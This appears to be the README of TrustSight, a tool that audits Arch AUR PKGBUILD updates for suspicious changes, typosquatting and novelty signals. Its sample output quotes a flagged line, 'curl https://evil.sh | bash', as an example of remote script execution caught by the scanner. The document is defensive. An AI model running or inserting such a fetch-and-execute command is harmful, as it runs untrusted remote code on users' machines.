TrustSight

Audits AUR PKGBUILD updates before you install: detects structural changes, suspicious commands, typosquatting, and novelty signals, then produces a deterministic evidence report.

Setup

Not published to the AUR yet: aur.archlinux.org/trustsight.git does not exist. Build from the PKGBUILD in this repository.

# 1. Install
git clone https://github.com/emiliano-go/trustsight.git
cd trustsight/packaging/aur
makepkg -si

# 2. Scan your outdated AUR packages
trustsight review

Requires Python 3.11+ and Arch Linux (the tool discovers packages via pacman -Qm, pacman -Sl for local repos, or --repo/--all-repos flags).

The analysis is deterministic and calculated locally. Verdicts are template-based, describing each finding in plain English, for example "Version bump. modified PKGBUILD, .SRCINFO. Signals: checksum disabled; novel dependency 'pyfoo' added in depends."

Baselines ship as signed GitHub release assets (baseline-seed.tar.gz, IOC baselines, the corpus). On an eligible first review or inspect, the CLI downloads the novelty seed and imports it only after its ed25519 signature verifies against the pinned distribution key; when offline, the attempt is skipped silently and the run starts cold. Other commands do not fetch it automatically. See installation for details.

Security model

TrustSight is evidence-producing, not proof-of-safety. Read the full security model for the threat model, invariants, and enforcement gates. It audits and does not install. The tool never runs the PKGBUILD, never executes extracted commands, and never modifies your system. Every finding is traceable to a specific diff line, URL, or novelty record. The output is a structured evidence report, not a gate. See what TrustSight cannot see.

What it detects

What it cannot detect

The default review output shows findings and a verdict, not score or risk columns. Add --score or --risk when you want the numeric band in the terminal. The default review profile flags scores above 20; on the locked benign corpus that is about 1 in 8 review workload items. quiet and strict profiles change the queue without changing scores or bands. A clean score means no known risk signals fired, not that the package is safe. This is a point-in-time corpus measurement, not a universal false-positive rate. See what TrustSight cannot see for details.

Dependency depth

An AUR package's depends and makedepends can name other AUR packages, and makepkg builds those on your machine in the same run. Reviewing only the package you typed reads one recipe out of several that will actually execute - and a hijacked orphan is far more often somebody's dependency than the thing you meant to install.

So AUR dependencies are analysed by default.

trustsight inspect some-pkg              # depth 1, the default
trustsight inspect some-pkg --depth 0    # this package only
trustsight inspect some-pkg --depth 3    # three levels
trustsight review --depth -1             # the whole closure
trustsight review --deps                 # dependencies as the report subjects
trustsight review --deps --depth 2       # direct dependencies and theirs

Set it permanently in config.toml:

[depth]
levels = 1

Three things worth knowing:

Each dependency is analysed as a package, not as a component of one. It gets its own score, its own band, its own coverage gaps and its own row in the database, and it renders as a mini-card nested inside the parent's card. Nothing is folded into the parent's score - depth is deliberately not part of the config fingerprint, so a score that moved when you passed --depth would make two operators' results incomparable.

-1 is bounded. The dependency graph is written by the party under review: a recipe declaring five hundred AUR makedepends, each declaring five hundred more, would otherwise decide how many repositories your machine clones. The ceilings are 8 levels and 200 dependencies per run.

A walk cut short says so. Hitting a ceiling, or failing to analyse a dependency, records the deps_not_scanned coverage gap, which forbids an UNFLAGGED result. A walk that completed is not a gap: asking for depth 1 and getting depth 1 is a complete answer to the question you asked.

Dependencies are read from the corpus metadata snapshot when you have one (no extra network), otherwise from one batched AUR RPC request per level. Only depends, makedepends and checkdepends count - optdepends is not installed by default. The first run clones each dependency; later runs reuse the cache.

The 30-second example

trustsight review

╭────────────────────────── chez-scheme-bin ───────────────────────────╮
│  Version  10.0.0  →  10.1.0                                          │
│  Status   Only pkgver and sha256sums changed. Review the diff        │
│           before building.                                           │
│  Changed  pkgver 10.0.0 -> 10.1.0                                    │
│           checksums added or changed                                 │
╰──────────────────────────────────────────────────────────────────────╯
╭──────────────────────────── sketchy-pkg ─────────────────────────────╮
│  Version  1.4.2  →  1.5.0                                            │
│  Status   The update is not trivial. Review it.                      │
│           PKGBUILD line 4  Remote Script Execution: curl             │
│           https://evil.sh | bash [R001]                              │
│           Source URL classified as unknown (https://evil.sh)         │
│           [SOURCE_BUCKET]                                            │
│  Changed  pkgver 1.4.2 -> 1.5.0                                      │
│           source host added: evil.sh                                 │
╰──────────────────────────────────────────────────────────────────────╯
2 package(s) needing update and reviewed out of 2 installed

One panel per package, and every signal is shown with the file, line and rule that produced it. You see why the update needs review.

The default is evidence-first. Add --score to show the numeric score and band, or --risk for the band alone.

Commands

Use it from Python

Every flow above is available as a library through trustsight.api, which returns dataclasses instead of printing. Nothing else under trustsight. is public.

from trustsight import TrustSight

ts = TrustSight()

report = ts.inspect("some-package")
print(report.risk_label, report.verdict)

result = ts.review(limit=25)
for r in result.flagged:
    print(r.package, r.risk, r.verdict)
for failure in result.failures:
    print("NOT VETTED:", failure.package, failure.error)

for cycle in ts.watch(interval=1800):     # full-aur --watch, as a generator
    for package, rule_id in cycle.new_alerts:
        print(rule_id, package)

Two rules carry over from the CLI. Use report.risk, never a band re-derived from report.score: an analysis that could not read the whole change reports Inconclusive regardless of the number. And check result.failures, because a package that could not be analysed is a result, not an absence. result.to_dict() follows review --json: it is one flat list containing successful report rows and failed rows marked failed: true.

How scoring works

Scoring is fully deterministic: same input always produces the same score. The pipeline is:

1. Diff the old and new PKGBUILD
2. Apply rules to detect structural changes, suspicious commands, typosquatting, etc.
3. Classify URLs into trust buckets (official, self-hosted, unknown, homograph)
4. Check novelty against the local database of known URLs and maintainers
5. Calculate score from 0-100 by summing weighted contributions across four evidence tiers

Signals come from 171 documented rules across five scoring namespaces: 127 detection rules (R-series, part TOML-configurable and part code-emitted), 9 code-structure rules (C001-C009), 4 dependency-graph rules (D001-D004), 8 sabotage rules (S001-S008) and 23 crossfire anti-evasion rules (X001-X023). Two further namespaces report at weight 0 and never score: declared practice (P001-P008) and unverifiable (W001-W006), the latter naming what an analysis could not read. Calibration uses a locked, point-in-time 3,246-diff benign corpus of real AUR updates and 175 self-authored, labelled malicious fixtures; it is regression evidence, not an independent recall claim. See Benchmarks and Methodology and the blinded-evaluation intake for scope.

Verdicts are template-based, describing each triggered finding in plain English. The score is never influenced by the verdict text.

See scoring philosophy.

License

MIT

Documentation hub